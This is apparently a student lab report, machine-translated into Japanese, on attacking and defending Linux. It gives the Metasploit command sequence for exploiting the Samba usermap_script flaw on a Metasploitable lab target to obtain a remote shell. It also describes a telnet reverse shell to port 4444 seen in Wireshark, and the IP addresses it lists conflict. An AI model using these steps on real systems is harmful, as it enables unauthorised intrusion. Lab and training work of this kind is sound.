目次
演習 7 Linux オペレーティング システムの攻撃と防御
1.1 Linuxオペレーティングシステムの基本フレームワーク
1.2Linux オペレーティング システムのセキュリティ メカニズム
演習 7 Linux オペレーティング システムの攻撃と防御
1.実践的な内容
1.1 Linuxオペレーティングシステムの基本フレームワーク
Linux の利点:
- コードオープンソース
- クロスプラットフォームのハードウェアのサポート
- 豊富なソフトウェアサポート
- 複数のユーザーと複数のサービス
- 安心のセキュリティ
- 良い安定性
- 充実したネットワーク機能
Linuxのシステム構成
-
Linux オペレーティング システム カーネル: マクロ カーネル構造
-
プロセスおよびスレッド管理メカニズム: プリエンプティブ マルチユーザー マルチプロセス モード
-
メモリ管理メカニズム: 複数のプロセスが物理メモリ領域を安全に共有できるようにします。
-
ファイル システム管理メカニズム: 仮想ファイル管理 VFS メカニズムは、数十の異なるタイプの論理ファイル システムをサポートします。
-
デバイス制御メカニズム: デバイス ドライバーは、ハードウェア コントローラーを処理または管理するソフトウェアであり、本質的には、特権を備えたメモリ常駐の低レベル ハードウェア制御ルーチンの共有ライブラリです。
-
ネットワーク メカニズム: カーネル内のネットワーク モジュールは、さまざまなネットワーク標準へのアクセスと、さまざまなネットワーク ハードウェアのサポートを提供します。ネットワーク インターフェイスは、ネットワーク プロトコル スタックとネットワーク ドライバーに分割できます。
-
システム コール メカニズム: システム コール インターフェイスにより、アプリケーションはこのインターフェイスを通じてハードウェア デバイスやその他のシステム リソースにアクセスできます。システムコールはソフト割り込みを通じて実装されます。
1.2Linux オペレーティング システムのセキュリティ メカニズム
Linux の ID 認証メカニズム
- 複数のロール タイプのユーザーおよびユーザー グループを作成してユーザー ID 管理を実装し、複数のユーザーが Linux オペレーティング システムを安全に使用できるようにします。
- ユーザー グループ: 同じ特性を持つユーザー アカウントの集合。システム全体のユーザー権限管理を簡素化するために使用されます。
- ローカル ログイン ユーザー認証メカニズム: 最も基本的なユーザー認証メカニズム。
- リモート ログイン ユーザー認証メカニズム: リモート ユーザー ログインとネットワーク アクセスに SSH サービスを使用します。SSH は、パスワード ベースと非対称キー ベースの 2 つのユーザー認証メカニズムを提供します。
Linux セキュリティ監査メカニズム
は、主に次の 3 つの主要なログ サブシステムを通じて実装されます。
- 接続練習ログ:複数のプログラムで実行
- プロセス統計ログ: システム カーネルによって実行されます。
- エラーログ: 一般的なログサービス syslogd(8) によって実行されます。
Linux システムの遠隔攻撃および防御技術
①Linuxシステムへのリモートネットワーク侵入の主な手口
-
Linux システムのさまざまなネットワーク サービスの ID 認証プロセスに関与するユーザー パスワードに対して推測攻撃を実行し、特定のサービスの実際の有効なユーザー アカウントとパスワードを解読し、ユーザーの ID になりすましてシステムに侵入することを目的としています。
-
Linux システムの監視ネットワーク サービスのセキュリティ脆弱性をマイニングして悪用し、攻撃ロード モジュール コードをターゲット サービス プロセスに挿入して実行し、攻撃者にローカル シェルへのアクセスを提供します。
-
Web トロイの木馬、詐欺メールの送信、トロイの木馬プログラムの提供などの技術的およびソーシャル エンジニアリング手段を通じてクライアント プログラムとユーザーを攻撃します。クライアント ソフトウェアまたはユーザーは悪意のあるプログラムをインストールして実行し、それによって Linux システムを積極的に攻撃者に公開します。
-
Linux システムが複数のネットワークを接続するルーターとして使用されている場合、またはネットワーク スニッフィングのリスナーとして無差別モードがオンになっている場合、攻撃者が特別に構築したパケットによって攻撃される可能性があり、攻撃者がアクセスできるようになります。
②Linuxリモートパスワード推測攻撃
- Linux システムは主に、telnet、rlogin、rsh、SSH プロトコルを介したネットワーク リモート コントロールをサポートしており、これらのプロトコルは Linux システムの組み込みユーザー名とパスワードを使用してリモート ユーザーを認証します。攻撃者がこれらのネットワーク プロトコルを通じてユーザー名とパスワードのセットをリモートで推測できる場合、この情報を使用して Linux システムにリモートでログインし、ローカル アクセス権を取得することができます。
- Brutus、THC Hydra、Cain、Abel などの攻撃者を可能にする自動リモート パスワード推測ツール
③ Linuxクライアントプログラムやユーザーを攻撃する
- Linux プラットフォーム上のクライアント プログラムを攻撃する
- Linux システム ユーザーの攻撃: ソーシャル エンジニアリング技術の適用を含む一般的な詐欺シナリオは、ユーザーを騙して電子メールの添付ファイル、実行可能プログラム、またはインスタント メッセージング ソフトウェアを介して送信された悪意のあるドキュメントをクリックして実行させ、特定の悪意のあるアドレスにアクセスさせるように電子メールとインスタント メッセージングで設計されています。サーバー構成に関する一部の機密情報を誤って漏洩するだけでなく、攻撃者がサーバー上で悪意のあるプログラムを実行する機会を獲得し、クライアント ソフトウェアが侵入攻撃コードにアクセスするように誘導し、それによって管理者の監視下でシステム情報を取得することができます。 。 アクセス権。
2.練習の流れ
(1) Metasploitを利用したLinuxリモート侵入攻撃
タスク: Metasploit 侵入テスト ソフトウェアを使用して、Linux ターゲット マシン上の Samba サービス Usermap_script のセキュリティ脆弱性を攻撃し、ターゲット Linux ターゲット マシンのホスト アクセス権を取得します。実際の手順は次のとおりです。
① Metasploit ソフトウェアを起動し、個人の好みに応じて msfconsole、msfgui、または msfweb のいずれかを使用します。
②エクスプロイトを使用:exploit/multi/samba/usermap_scriptペネトレーション攻撃モジュール;
③PAYLOADをリモートシェルとして攻撃することを選択します(順方向接続または逆方向接続のどちらでも可能です)。
④侵入攻撃パラメータ(RHOST、LHOST、TARGETなど)を設定します。
⑤貫通攻撃を行う。
⑥ リモートシェルが正しく取得できているか確認し、取得した権限を確認します。
機械 | IP |
---|---|
攻撃機カリ | 192.168.200.13 |
ターゲットドローンメタスプロイタブル | 192.168.19.130 |
kali 攻撃マシンはターゲット マシンに正常に ping を送信できます。
コマンドの使用:msfconsole
metaspolit の開始
コマンド search usermap_script を入力して、ターゲット マシン上の Samba サービス Usermap_script セキュリティ脆弱性情報を検索し、脆弱性モジュールの使用を入力します。
モジュールを選択し、ペイロードを表示し、コマンドset payload 18
を使用してモード 18 を選択します。
コマンド: set RHOST 192.168.200.124
を使用して、ターゲット マシンの IP を設定します。コマンド: set LHOST 192.168.200.3
を使用して、攻撃マシンの IP を設定します。< /span>
入力:exploit
攻撃、パスifconfig
ls コマンドを使用してファイルを表示し、取得した権限を確認します。
(2)実践的な宿題:攻守対決練習
攻撃者: Metasploit を使用し、Metasploitable ターゲット マシンで見つかった脆弱性を選択して侵入攻撃を実行し、リモート コントロール権限を取得し、さらに root 権限の取得を試みます。
防御者: tcpdump/wireshark/snort を使用してネットワーク攻撃のパケット ファイルを監視し、wireshark/snort で攻撃プロセスを分析し、攻撃者の IP、ターゲット IP とポート、攻撃開始時間、攻撃エクスプロイトの脆弱性、シェルコードの使用を取得します。および成功 後でコマンドラインに入力された情報。
攻撃者の攻撃プロセスは実験手順(1)と同様で、防御者はwiresharkを起動して監視し、フィルタリング条件をip.addr == 192.168.19.130 && ip.addr == 192.168.19.128に設定します。ここでは、139 ポート侵入の使用がわかります。
ここで使用されている SMB プロトコルの一部は、nohup を使用してバックグラウンドでコマンドを実行し、次に bash を使用して Telnet を使用してシェルを kali の 4444 ポートにバウンスします。
3. 学習中に遭遇した問題とその解決策
- 問題 1: 攻撃機は最初はターゲット航空機に ping を送信できません。
- 問題 1 の解決策: 仮想マシンを再起動する
4. 思考と経験を学ぶ
この演習では、主に Linux オペレーティング システムの攻撃と防御、およびペネトレーション攻撃の攻撃プロセスについて学び、ネットワークの攻撃と防御の一般的な手順を深く理解するとともに、理論的な学習を強化する必要があります。ネットワーク攻撃と防御テクノロジーをよりよく習得するための知識。